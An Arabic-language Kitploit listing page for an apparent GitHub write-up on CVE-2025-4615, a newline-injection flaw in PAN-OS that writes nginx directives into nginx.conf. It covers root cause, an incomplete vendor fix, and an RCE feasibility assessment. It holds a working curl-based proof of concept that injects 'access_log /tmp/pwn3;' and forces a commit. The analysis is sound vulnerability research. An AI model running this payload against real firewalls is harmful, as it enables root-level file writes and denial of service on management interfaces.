Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2025-4615 — cve-2025-4615 poc وتحليل متعمق | Kitploit
أدوات/GitHubGitHub/sh00bx/cve-2025-4615
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبتدقيق التكويناختبار الاختراق
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc وتحليل متعمق

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-4615 — تحليل فني وإثبات المفهوم (PoC)

الثغرة: معادلة غير صحيحة للمدخلات في واجهة إدارة PAN-OS
إشعار البائع: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (متوسطة) — سلامة (Integrity) عالية، توافر (Availability) عالٍ
CWE: CWE-83 (معادلة غير صحيحة للبرنامج النصي في سمات صفحة ويب)
CAPEC: CAPEC-165 (التلاعب بالملفات)
الاعتماد: Visa Inc.
تاريخ التحليل: 2026-03-26


1. الملخص التنفيذي

CVE-2025-4615 هي ثغرة حقن أسطر جديدة (newline injection) في حقل إعدادات secure-proxy-user في نظام Palo Alto Networks PAN-OS. يمكن للمسؤول المُصادَق عليه حقن أحرف أسطر جديدة (\n) في اسم مستخدم الوكيل عبر واجهة برمجة التطبيقات XML أو الواجهة الرسومية. أثناء الالتزام (commit)، تُكتب هذه القيمة دون تطهير في ملف /etc/nginx/nginx.conf، مما يسمح بالخروج من سطر التعليق وحقن توجيهات nginx تعسفية.

التأثير:

  • إنشاء/كتابة ملفات تعسفية بصلاحيات الجذر (root) عبر توجيه access_log المُحقَن
  • حرمان من الخدمة (DoS) — التوجيهات غير الصالحة تمنع إعادة تحميل nginx، مما يوقف واجهة الإدارة
  • إفساد الإعدادات عبر ملفات إعدادات نظام متعددة

ملاحظة: إصلاح البائع (إزالة أحرف الأسطر الجديدة) غير مكتمل — الحقل نفسه يبقى عرضة لـ البرمجة النصية عبر المواقع المخزنة (Stored XSS) لعدم تطبيق ترميز للمخرجات أو قائمة سماح للأحرف.


2. تحليل السبب الجذري

2.1 نقطة الحقن

يُعرَّف حقل secure-proxy-user في مخطط PAN-OS (schema.xml) كسلسلة نصية عادية دون أي تطهير للمدخلات:

root@kitploit:~
<element name="secure-proxy-user" optional="yes" type="string"
         help-string="Secure Proxy user name to use"/>

ملاحظة: يحتوي secure-proxy-server على قيد regex (regex="^([0-9a-zA-Z.:/_-])+$")، لكن secure-proxy-user لا يحتوي على أي قيد. هناك حد أقصى لطول 31 حرفًا، لكن لا توجد قيود على الأحرف.

2.2 كاتب الإعدادات المعرض للثغرة

أثناء الالتزام (commit)، يعيد PAN-OS توليد /etc/nginx/nginx.conf من قالب (/etc/nginx/nginx.conf.tmpl). يحتوي القالب على:

root@kitploit:~
#pan_proxy_comment %s

يتم ملء العنصر النائب %s بواسطة دالة مكتبة libpanmp_mp.so التي تربط خادم الوكيل واسم المستخدم وكلمة المرور المشفرة في سلسلة نصية واحدة. في الإصدار المعرض للثغرة، تُمرَّر أحرف الأسطر الجديدة في اسم المستخدم كما هي دون معالجة.

2.3 إفساد ملف nginx.conf الناتج

عندما يحتوي secure-proxy-user على a\naccess_log /tmp/pwn3;\n#، يصبح ملف nginx.conf المُولَّد:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 a        — تعليق (غير ضار)
access_log /tmp/pwn3;                  — توجيه مُحقَن (ينفَّذ بواسطة nginx!)
# -AQ==encrypted_password==            — كلمة المرور موضوعة في تعليق عبر # المُحقَنة

السطر الأول تعليق. السطر الثاني توجيه nginx صالح على مستوى كتلة http. السطر الثالث تم تحييده بواسطة حرف # الذي أدخله المهاجم.

2.4 لماذا يُعد هذا خطيرًا

تعمل العملية الرئيسية لـ nginx بصلاحيات الجذر (root). يتسبب توجيه access_log في قيام nginx بفتح/إنشاء الملف الهدف بصلاحيات الجذر. يتيح ذلك:

  1. إنشاء ملفات تعسفية في أي مكان على نظام الملفات
  2. كتابة ملفات تعسفية (يتم إلحاق محتوى سجل وصول HTTP)
  3. حرمان من الخدمة (DoS) إذا تم حقن توجيه غير صالح (يرفض nginx إعادة التحميل)

3. الإصلاح (وقيوده)

في الإصدار المُصلَح (11.1.13)، يقوم كاتب الإعدادات بإزالة أحرف الأسطر الجديدة من اسم مستخدم الوكيل قبل كتابته في nginx.conf. نفس القيمة الخبيثة تُنتج:

root@kitploit:~
  #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==

يبقى كل شيء في سطر واحد، داخل التعليق # بأمان.

ومع ذلك، هذا الإصلاح غير مكتمل. إنه يعالج حقن الأسطر الجديدة فقط. لا يزال حقل secure-proxy-user يقبل أحرفًا تعسفية (بما في ذلك ", <, >) دون ترميز للمخرجات، مما يترك ناقل XSS المخزن مفتوحًا على مصراعيه. انظر unit-43-xss.


4. إثبات المفهوم (Proof of Concept)

المتطلبات الأساسية

  • وصول مسؤول مُصادَق عليه إلى إدارة PAN-OS (API أو واجهة ويب)
  • secure-proxy-server مُهيأ (مطلوب لظهور تعليق الوكيل)

الخطوة 1: الحصول على مفتاح API

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"

الخطوة 2: إعداد خادم الوكيل (إذا لم يكن مضبوطًا)

root@kitploit:~
curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"

الخطوة 3: حقن اسم مستخدم وكيل خبيث

root@kitploit:~
# الحمولة: "a\naccess_log /tmp/pwn3;\n#"
# الإجمالي: 26 حرفًا (ضمن حد 31 حرفًا)
# يحقن: access_log /tmp/pwn3; — ينشئ /tmp/pwn3 بصلاحيات الجذر

curl -sk -X POST "https://<PANOS_IP>/api/" \
  --data-urlencode "type=config" \
  --data-urlencode "action=set" \
  --data-urlencode "key=<APIKEY>" \
  --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
  --data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'

الخطوة 4: الالتزام بالإعدادات (Commit)

root@kitploit:~
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"

الخطوة 5: التحقق

بعد اكتمال الالتزام (~30 ثانية):

  • يتم إنشاء /tmp/pwn3 بمالك root
  • يُبلغ nginx -t -c /etc/nginx/nginx.conf عن: syntax is ok
  • يعيد nginx التحميل بنجاح مع التوجيه المُحقَن

5. تحليل الانتشار

تنتشر قيمة secure-proxy-user غير المُطهَّرة إلى ملفات متعددة:

كاتبا ملفَي curlrc (/root/.curlrc) و wgetrc (/root/.wgetrc) يقومان بإزالة الأسطر الجديدة، حتى في الإصدار المعرض للثغرة. كان كاتب nginx.conf هو المسار الوحيد الذي لم يقم بالتطهير.


6. تقييم إمكانية تنفيذ الأكواد (RCE)

أكدت الاختبارات المكثفة لـ 11 ناقل هجوم أنه لا يمكن تحقيق تنفيذ أكواد على مستوى نظام التشغيل (OS-level RCE) من CVE-2025-4615 بمفردها على PAN-OS 11.1.6-h7 مع nginx 1.20.1. العوائق الحرجة الثلاثة:

  1. هروب nginx للرمز \x0A — يمنع حقن أسطر جديدة خام في ملفات السجلات، مما يحجب حقن cron رغم تحمّل vixie-cron للأسطر التالفة (مؤكد معمليًا: cron ينفذ الأسطر الصالحة المحاطة بأسطر تالفة)
  2. حد الـ 31 حرفًا — يمنع دمج log_format مع access_log للحصول على تحكم في محتوى الملفات المكتوبة
  3. إزالة الأسطر الجديدة في curlrc/wgetrc — يلغي قناة كتابة الملفات الثانوية

إن عبارة "تنفيذ أوامر تعسفية" في إشعار البائع تشير على الأرجح إلى توجيهات nginx تعسفية، وليس تنفيذ أوامر على مستوى نظام التشغيل. يتوافق ذلك مع CVSS VC:N (لا تأثير على السرية) ومع طبيعة الإصلاح.

إذا غاب أي من العوائق الثلاثة، لكان تحقيق RCE ممكنًا بسهولة عبر حقن cron.


أُجري التحليل في بيئة معملية معزولة باستخدام PAN-OS 11.1.6-h7 (المعرض للثغرة) و PAN-OS 11.1.13 (المُصلَح).

تنزيل الأداة
الملفالتأثير
/etc/nginx/nginx.confخطير — حقن توجيهات nginx
/opt/pancfg/tmp/.tdb_conf.xmlإعداد قالب قاعدة البيانات (حقن XML)
/opt/pancfg/mgmt/audit/cfg-audit.xml,vإفساد مسار التدقيق
/opt/pancfg/mgmt/replaydb/replay.dbإفساد قاعدة بيانات إعادة التشغيل
إعدادات الخدمات المُولَّدة عبر XSL (authd, cord, useridd, وغيرها)قيمة XML محفوظة مع الأسطر الجديدة